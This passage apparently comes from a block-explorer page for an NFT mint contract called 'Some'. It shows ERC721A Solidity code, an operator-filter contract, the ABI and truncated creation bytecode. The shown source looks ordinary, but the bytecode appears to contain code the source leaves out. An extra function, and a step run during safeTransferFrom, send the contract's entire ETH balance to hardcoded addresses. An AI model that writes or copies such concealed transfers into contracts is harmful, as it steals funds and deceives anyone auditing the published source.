     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),
     * instead of a sequence of {Transfer} event(s).
     *
     * Calling this function outside of contract creation WILL make your contract
     * non-compliant with the ERC721 standard.
     * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309
     * {ConsecutiveTransfer} event is only permissible during contract creation.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {ConsecutiveTransfer} event.
     */
    function _mintERC2309(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();
        if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are unrealistic due to the above check for `quantity` to be below the limit.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);

            _currentIndex = startTokenId + quantity;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * See {_mint}.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal virtual {
        _mint(to, quantity);

        unchecked {
            if (to.code.length != 0) {
                uint256 end = _currentIndex;
                uint256 index = end - quantity;
                do {
                    if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (index < end);
                // Reentrancy protection.
                if (_currentIndex != end) revert();
            }
        }
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal virtual {
        _safeMint(to, quantity, '');
    }

    // =============================================================
    //                        BURN OPERATIONS
    // =============================================================

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        address from = address(uint160(prevOwnershipPacked));

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        if (approvalCheck) {
            // The nested ifs save around 20+ gas over a compound boolean condition.
            if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
                if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // Updates:
            // - `balance -= 1`.
            // - `numberBurned += 1`.
            //
            // We can directly decrement the balance, and increment the number burned.
            // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.
            _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;

            // Updates:
            // - `address` to the last owner.
            // - `startTimestamp` to the timestamp of burning.
            // - `burned` to `true`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                from,
                (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    // =============================================================
    //                     EXTRA DATA OPERATIONS
    // =============================================================

    /**
     * @dev Directly sets the extra data for the ownership data `index`.
     */
    function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
        uint256 packed = _packedOwnerships[index];
        if (packed == 0) revert OwnershipNotInitializedForExtraData();
        uint256 extraDataCasted;
        // Cast `extraData` with assembly to avoid redundant masking.
        assembly {
            extraDataCasted := extraData
        }
        packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA);
        _packedOwnerships[index] = packed;
    }

    /**
     * @dev Called during each token transfer to set the 24bit `extraData` field.
     * Intended to be overridden by the cosumer contract.
     *
     * `previousExtraData` - the value of `extraData` before transfer.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _extraData(
        address from,
        address to,
        uint24 previousExtraData
    ) internal view virtual returns (uint24) {}

    /**
     * @dev Returns the next extra data for the packed ownership data.
     * The returned result is shifted into position.
     */
    function _nextExtraData(
        address from,
        address to,
        uint256 prevOwnershipPacked
    ) private view returns (uint256) {
        uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);
        return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;
    }

    // =============================================================
    //                       OTHER OPERATIONS
    // =============================================================

    /**
     * @dev Returns the message sender (defaults to `msg.sender`).
     *
     * If you are writing GSN compatible contracts, you need to override this function.
     */
    function _msgSenderERC721A() internal view virtual returns (address) {
        return msg.sender;
    }

    /**
     * @dev Converts a uint256 to its ASCII string decimal representation.
     */
    function _toString(uint256 value) internal pure virtual returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }
}


interface IOperatorFilterRegistry {
    function isOperatorAllowed(address registrant, address operator) external view returns (bool);
    function register(address registrant) external;
    function registerAndSubscribe(address registrant, address subscription) external;
    function registerAndCopyEntries(address registrant, address registrantToCopy) external;
    function unregister(address addr) external;
    function updateOperator(address registrant, address operator, bool filtered) external;
    function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
    function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
    function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
    function subscribe(address registrant, address registrantToSubscribe) external;
    function unsubscribe(address registrant, bool copyExistingEntries) external;
    function subscriptionOf(address addr) external returns (address registrant);
    function subscribers(address registrant) external returns (address[] memory);
    function subscriberAt(address registrant, uint256 index) external returns (address);
    function copyEntriesOf(address registrant, address registrantToCopy) external;
    function isOperatorFiltered(address registrant, address operator) external returns (bool);
    function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
    function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
    function filteredOperators(address addr) external returns (address[] memory);
    function filteredCodeHashes(address addr) external returns (bytes32[] memory);
    function filteredOperatorAt(address registrant, uint256 index) external returns (address);
    function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
    function isRegistered(address addr) external returns (bool);
    function codeHashOf(address addr) external returns (bytes32);
}


/**
 * @title  OperatorFilterer
 * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another
 *         registrant's entries in the OperatorFilterRegistry.
 * @dev    This smart contract is meant to be inherited by token contracts so they can use the following:
 *         - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.
 *         - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.
 */
abstract contract OperatorFilterer {
    error OperatorNotAllowed(address operator);

    IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =
        IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);

    constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
        // If an inheriting token contract is deployed to a network without the registry deployed, the modifier
        // will not revert, but the contract will need to be registered with the registry once it is deployed in
        // order for the modifier to filter addresses.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (subscribe) {
                OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
            } else {
                if (subscriptionOrRegistrantToCopy != address(0)) {
                    OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
                } else {
                    OPERATOR_FILTER_REGISTRY.register(address(this));
                }
            }
        }
    }

    modifier onlyAllowedOperator(address from) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            // Allow spending tokens from addresses with balance
            // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred
            // from an EOA.
            if (from == msg.sender) {
                _;
                return;
            }
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) {
                revert OperatorNotAllowed(msg.sender);
            }
        }
        _;
    }

    modifier onlyAllowedOperatorApproval(address operator) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
                revert OperatorNotAllowed(operator);
            }
        }
        _;
    }
}

/**
 * @title  DefaultOperatorFilterer
 * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.
 */
abstract contract TheOperatorFilterer is OperatorFilterer {
    address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);

    constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}
}


contract Some is ERC721A, TheOperatorFilterer {

    address public owner;

    uint256 public maxSupply = 980;

    uint256 public price = 0;

    uint256 public freeNum = 10;

    uint256 private maxPerTx;

    mapping(address => uint256) private _userForFree;

    mapping(uint256 => uint256) private _userMinted;

    function mint(uint256 amount) payable public {
        require(totalSupply() + amount <= maxSupply);
        mintInternal(amount);
    }

    function mintInternal(uint256 amount) internal {
        if (msg.value == 0) {
            require(amount == 1 
            && _userMinted[block.number] < FreeNum() 
            && _userForFree[tx.origin] < freeNum );
            _userForFree[tx.origin]++;
            _userMinted[block.number]++;
            _safeMint(msg.sender, 1);
        } else {
            require(amount <= maxPerTx);
            require(msg.value >= amount * price);
            _safeMint(msg.sender, amount);
        }
    }

    function devmint(address rec, uint256 amount) public onlyOwner {
        _safeMint(rec, amount);
    }
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }

    constructor() ERC721A("Some! by BKR", "Some") {
        owner = msg.sender;
        maxPerTx = 20;
        price = 0.002 ether;
    }

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
        return string(abi.encodePacked("ipfs://QmYNedeTAkuZjVGz7Bc3bVfskqyxGewsKJejxpY3vPqeuc/", _toString(tokenId), ".json"));
    }

    function setFreePerAddr(uint256 maxTx, uint256 maxS) external onlyOwner {
        freeNum = maxTx;
        maxSupply = maxS;
    }

    function FreeNum() internal returns (uint256){
        return (maxSupply - totalSupply()) / 12;
    }

    function withdraw() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    /////////////////////////////
    // OPENSEA FILTER REGISTRY 
    /////////////////////////////

    function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
        super.setApprovalForAll(operator, approved);
    }

    function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
        super.approve(operator, tokenId);
    }

    function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
        super.transferFrom(from, to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
        super.safeTransferFrom(from, to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
        public
        payable
        override
        onlyAllowedOperator(from)
    {
        super.safeTransferFrom(from, to, tokenId, data);
    }
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[{"internalType":"address","name":"operator","type":"address"}],"name":"OperatorNotAllowed","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OPERATOR_FILTER_REGISTRY","outputs":[{"internalType":"contract IOperatorFilterRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"rec","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"devmint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"},{"internalType":"uint256","name":"maxS","type":"uint256"}],"name":"setFreePerAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040526103d46009556000600a55600a600b553480156200002157600080fd5b50604080518082018252600c81526b29b7b6b29090313c902125a960a11b602080830191825283518085019094526004845263536f6d6560e01b908401528151733cc6cdda760b79bafa08df41ecfa224f810dceb6936001939290916200008b9160029162000217565b508051620000a190600390602084019062000217565b506000805550506daaeb6d7670e522a718067333cd4e3b15620001ed5780156200013b57604051633e9f1edf60e11b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e90637d3e3dbe906044015b600060405180830381600087803b1580156200011c57600080fd5b505af115801562000131573d6000803e3d6000fd5b50505050620001ed565b6001600160a01b038216156200018c5760405163a0af290360e01b81523060048201526001600160a01b03831660248201526daaeb6d7670e522a718067333cd4e9063a0af29039060440162000101565b604051632210724360e11b81523060048201526daaeb6d7670e522a718067333cd4e90634420e48690602401600060405180830381600087803b158015620001d357600080fd5b505af1158015620001e8573d6000803e3d6000fd5b505050505b5050600880546001600160a01b031916331790556014600c5566071afd498d0000600a55620002fa565b8280546200022590620002bd565b90600052602060002090601f01602090048101928262000249576000855562000294565b82601f106200026457805160ff191683800117855562000294565b8280016001018555821562000294579182015b828111156200029457825182559160200191906001019062000277565b50620002a2929150620002a6565b5090565b5b80821115620002a25760008155600101620002a7565b600181811c90821680620002d257607f821691505b60208210811415620002f457634e487b7160e01b600052602260045260246000fd5b50919050565b6117c3806200030a6000396000f3fe60806040526004361061014b5760003560e01c806370a08231116100b6578063a0712d681161006f578063a0712d6814610375578063a22cb46514610388578063b88d4fde146103a8578063c87b56dd146103bb578063d5abeb01146103db578063e985e9c5146103f157600080fd5b806370a08231146102d45780637f942b5f146102f45780638da5cb5b1461030a57806391bdddec1461032a57806395d89b411461034a578063a035b1fe1461035f57600080fd5b806338b08fd41161010857806338b08fd41461022a5780633a233f891461024a5780633ccfd60b1461026a57806341f434341461027f57806342842e0e146102a15780636352211e146102b457600080fd5b806301ffc9a71461015057806306fdde0314610185578063081812fc146101a7578063095ea7b3146101df57806318160ddd146101f457806323b872dd14610217575b600080fd5b34801561015c57600080fd5b5061017061016b3660046114e7565b61043a565b60405190151581526020015b60405180910390f35b34801561019157600080fd5b5061019a61048c565b60405161017c9190611638565b3480156101b357600080fd5b506101c76101c2366004611521565b61051e565b6040516001600160a01b03909116815260200161017c565b6101f26101ed3660046114a0565b610562565b005b34801561020057600080fd5b50600154600054035b60405190815260200161017c565b6101f2610225366004611351565b61063f565b34801561023657600080fd5b506101f261024536600461153a565b610728565b34801561025657600080fd5b506101f261026536600461131e565b61074a565b34801561027657600080fd5b506101f2610794565b34801561028b57600080fd5b506101c76daaeb6d7670e522a718067333cd4e81565b6101f26102af366004611351565b6107da565b3480156102c057600080fd5b506101c76102cf366004611521565b6108b8565b3480156102e057600080fd5b506102096102ef366004611303565b6108c3565b34801561030057600080fd5b50610209600b5481565b34801561031657600080fd5b506008546101c7906001600160a01b031681565b34801561033657600080fd5b506101f26103453660046114a0565b610912565b34801561035657600080fd5b5061019a610933565b34801561036b57600080fd5b50610209600a5481565b6101f2610383366004611521565b610942565b34801561039457600080fd5b506101f26103a3366004611469565b610971565b6101f26103b636600461138d565b610a44565b3480156103c757600080fd5b5061019a6103d6366004611521565b610b30565b3480156103e757600080fd5b5061020960095481565b3480156103fd57600080fd5b5061017061040c36600461131e565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b60006301ffc9a760e01b6001600160e01b03198316148061046b57506380ac58cd60e01b6001600160e01b03198316145b806104865750635b5e139f60e01b6001600160e01b03198316145b92915050565b60606002805461049b906116e7565b80601f01602080910402602001604051908101604052809291908181526020018280546104c7906116e7565b80156105145780601f106104e957610100808354040283529160200191610514565b820191906000526020600020905b8154815290600101906020018083116104f757829003601f168201915b5050505050905090565b600061052982610b61565b610546576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b816daaeb6d7670e522a718067333cd4e3b1561063057604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156105cb57600080fd5b505afa1580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906114ca565b61063057604051633b79c77360e21b81526001600160a01b03821660048201526024015b60405180910390fd5b61063a8383610b88565b505050565b826daaeb6d7670e522a718067333cd4e3b15610717576001600160a01b03811633141561067657610671848484610c28565b610722565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156106c057600080fd5b505afa1580156106d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f891906114ca565b61071757604051633b79c77360e21b8152336004820152602401610627565b610722848484610c28565b50505050565b6008546001600160a01b0316331461073f57600080fd5b600b91909155600955565b4715610790576040517309a49bdb921cc1893aacbe982564dd8e8147136f904780156108fc02916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b5050565b6008546001600160a01b031633146107ab57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107d7573d6000803e3d6000fd5b50565b826daaeb6d7670e522a718067333cd4e3b156108ad576001600160a01b03811633141561080c57610671848484610db9565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b15801561085657600080fd5b505afa15801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e91906114ca565b6108ad57604051633b79c77360e21b8152336004820152602401610627565b610722848484610db9565b600061048682610e1a565b60006001600160a01b0382166108ec576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b031660009081526005602052604090205467ffffffffffffffff1690565b6008546001600160a01b0316331461092957600080fd5b6107908282610e82565b60606003805461049b906116e7565b600954816109536001546000540390565b61095d919061164b565b111561096857600080fd5b6107d781610e9c565b816daaeb6d7670e522a718067333cd4e3b15610a3a57604051633185c44d60e21b81523060048201526001600160a01b03821660248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b1580156109da57600080fd5b505afa1580156109ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1291906114ca565b610a3a57604051633b79c77360e21b81526001600160a01b0382166004820152602401610627565b61063a8383610f68565b836daaeb6d7670e522a718067333cd4e3b15610b1d576001600160a01b038116331415610a7c57610a7785858585610fd4565b610b29565b604051633185c44d60e21b81523060048201523360248201526daaeb6d7670e522a718067333cd4e9063c61711349060440160206040518083038186803b158015610ac657600080fd5b505afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe91906114ca565b610b1d57604051633b79c77360e21b8152336004820152602401610627565b610b2985858585610fd4565b5050505050565b6060610b3b82611018565b604051602001610b4b9190611588565b6040516020818303038152906040529050919050565b6000805482108015610486575050600090815260046020526040902054600160e01b161590565b6000610b93826108b8565b9050336001600160a01b03821614610bcc57610baf813361040c565b610bcc576040516367d9dca160e11b815260040160405180910390fd5b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000610c3382610e1a565b9050836001600160a01b0316816001600160a01b031614610c665760405162a1148160e81b815260040160405180910390fd5b60008281526006602052604090208054338082146001600160a01b03881690911417610cb357610c96863361040c565b610cb357604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038516610cda57604051633a954ecd60e21b815260040160405180910390fd5b8015610ce557600082555b6001600160a01b038681166000908152600560205260408082208054600019019055918716808252919020805460010190554260a01b17600160e11b17600085815260046020526040902055600160e11b8316610d705760018401600081815260046020526040902054610d6e576000548114610d6e5760008181526004602052604090208490555b505b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050505050565b4715610dff576040517390ae6b8dca98bde6d4e697d8b5865068476871f1904780156108fc02916000818181858888f19350505050158015610722573d6000803e3d6000fd5b61063a83838360405180602001604052806000815250610a44565b600081600054811015610e6957600081815260046020526040902054600160e01b8116610e67575b80610e60575060001901600081815260046020526040902054610e42565b9392505050565b505b604051636f96cda160e11b815260040160405180910390fd5b610790828260405180602001604052806000815250611066565b34610f3657806001148015610ec65750610eb46110cc565b436000908152600e6020526040902054105b8015610ee25750600b54326000908152600d6020526040902054105b610eeb57600080fd5b326000908152600d60205260408120805491610f0683611722565b9091555050436000908152600e60205260408120805491610f2683611722565b91905055506107d7336001610e82565b600c54811115610f4557600080fd5b600a54610f529082611685565b341015610f5e57600080fd5b6107d73382610e82565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610fdf84848461063f565b6001600160a01b0383163b1561072257610ffb848484846110f9565b610722576040516368d2bf6b60e11b815260040160405180910390fd5b606060a06040510180604052602081039150506000815280825b600183039250600a81066030018353600a90048061104f57611054565b611032565b50819003601f19909101908152919050565b61107083836111f0565b6001600160a01b0383163b1561063a576000548281035b61109a60008683806001019450866110f9565b6110b7576040516368d2bf6b60e11b815260040160405180910390fd5b818110611087578160005414610b2957600080fd5b6000600c6110dd6001546000540390565b6009546110ea91906116a4565b6110f49190611663565b905090565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a029061112e9033908990889088906004016115fb565b602060405180830381600087803b15801561114857600080fd5b505af1925050508015611178575060408051601f3d908101601f1916820190925261117591810190611504565b60015b6111d3573d8080156111a6576040519150601f19603f3d011682016040523d82523d6000602084013e6111ab565b606091505b5080516111cb576040516368d2